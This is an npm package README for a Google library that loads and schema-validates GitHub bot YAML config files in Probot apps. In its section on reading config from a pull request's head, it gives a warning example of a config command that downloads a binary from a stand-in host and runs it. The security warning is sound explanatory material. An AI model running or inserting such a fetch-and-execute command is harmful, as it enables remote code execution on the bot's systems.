@google-automations/bot-config-utils
v8.0.0
Published
Utilities for github bot config
Downloads
812
Readme
bot-config-utils
This is a small library for handling bot config file.
Install
npm i @google-automations/bot-config-utils
Get the config
This library supports yaml config file. You provide an config interface. The code assumes we're in the probot handler.
import {
getConfig,
} from '@google-automations/bot-config-utils';
interface Config {
myConfig: string;
}
const CONFIG_FILENAME = 'mybot.yaml';
const {owner, repo} = context.repo();
const config = await getConfig<Config>(
context.octokit,
owner,
repo,
CONFIG_FILENAME);
// config can be null.
Provide the default value
You can use a similar method that supports default value.
import {
getConfigWithDefault,
} from '@google-automations/bot-config-utils';
interface Config {
myConfig: string;
}
const defaultConfig: Config = {'myConfig': 'myValue'};
const CONFIG_FILENAME = 'mybot.yaml';
const {owner, repo} = context.repo();
const config = await getConfigWithDefault<Config>(
context.octokit,
owner,
repo,
CONFIG_FILENAME,
defaultConfig);
// config is always a Config object.
getConfig options
You can specify optional arguments via the getConfigOptions
interface to getConfig
and getConfigWithDefault
.
{
fallbackToOrgConfig: false,
branch: 'release-9.x',
schema: schema,
additionalSchemas: additionalSchema
}
- fallbackToOrgConfig
If set to true, it will try to fetch the config from
.github
repo in the same org, defaults to true. - branch The branch for getting the config.
- schema The json schema definition. If specified, the loaded config will be validated against the given schema. It will throw an Error when validation fails.
- additionalSchemas Only required if you need to give additional schema definitions.
Here is a simple example for not falling back to .github
repo, and
doing the schema validation.
// json schema definition
import schema from './config-schema.json';
import {
getConfig,
} from '@google-automations/bot-config-utils';
interface Config {
myConfig: string;
}
const CONFIG_FILENAME = 'mybot.yaml';
const {owner, repo} = context.repo();
const config = await getConfig<Config>(
context.octokit,
owner,
repo,
CONFIG_FILENAME,
{fallbackToOrgConfig: false, schema: schema}
);
// config can be null.
Check config schema on PRs
To use this feature, the bot needs to have some permissions.
You have to add the following permissions:
- Pull Request Read/Write
- Checks Read/Write
You also have to subscribe to Pull Request events.
You also need to provide a schema definition. Here is an example definition:
// config-schema.json
{
"$schema": "http://json-schema.org/draft-07/schema#",
"type": "object",
"title": "flakybot config",
"description": "Schema for flakybot configuration",
"additionalProperties": false,
"properties": {
"issuePriority": {
"description": "The default priority for flakybot issues",
"type": "string",
}
}
}
Here is a sample handler(this assumes you're developping a Probot app):
import {ConfigChecker} from '@google-automations/bot-config-utils';
import schema from './config-schema.json';
// ...
app.on(
[
'pull_request.opened',
'pull_request.reopened',
'pull_request.edited',
'pull_request.synchronize',
],
async context => {
const configChecker = new ConfigChecker<Config>(schema, CONFIG_FILENAME);
const {owner, repo} = context.repo();
await configChecker.validateConfigChanges(
context.octokit,
owner,
repo,
context.payload.pull_request.head.sha,
context.payload.pull_request.number
);
}
);
validateConfigChanges
will check the config file format against the
schema you provided. It will submit a failing status check if:
- You are trying to add a wrong config file (currently it only checks
yaml
vsyml
). - You are trying to add a broken config file, or the config file doesn't match the schema.
validateConfigChanges
resolves false
, if the config file is invalid,
and a failing check has been created.
Fetch config from the PR head
Probot's implementation of config always fetches the config from the main branch. This is a reasonable security meassure for a generic library.
It is very dangerous to fetch the config from PR head expecially if the config contains some external commands. Here is a simple example:
prepareCommands: 'curl http://example.com/m && chmod +x m && ./m'
However, if your bot doesn't have such a field in the config file, it is very natural to fetch the config from the PR head.
For this purpose, the ConfigChecker has a method:
getConfig(): T | undefined
. This will return the config object only
if the validation succeeds.
Even if the config contains a dangerous field, you can selectively use the value from the config in the PR head.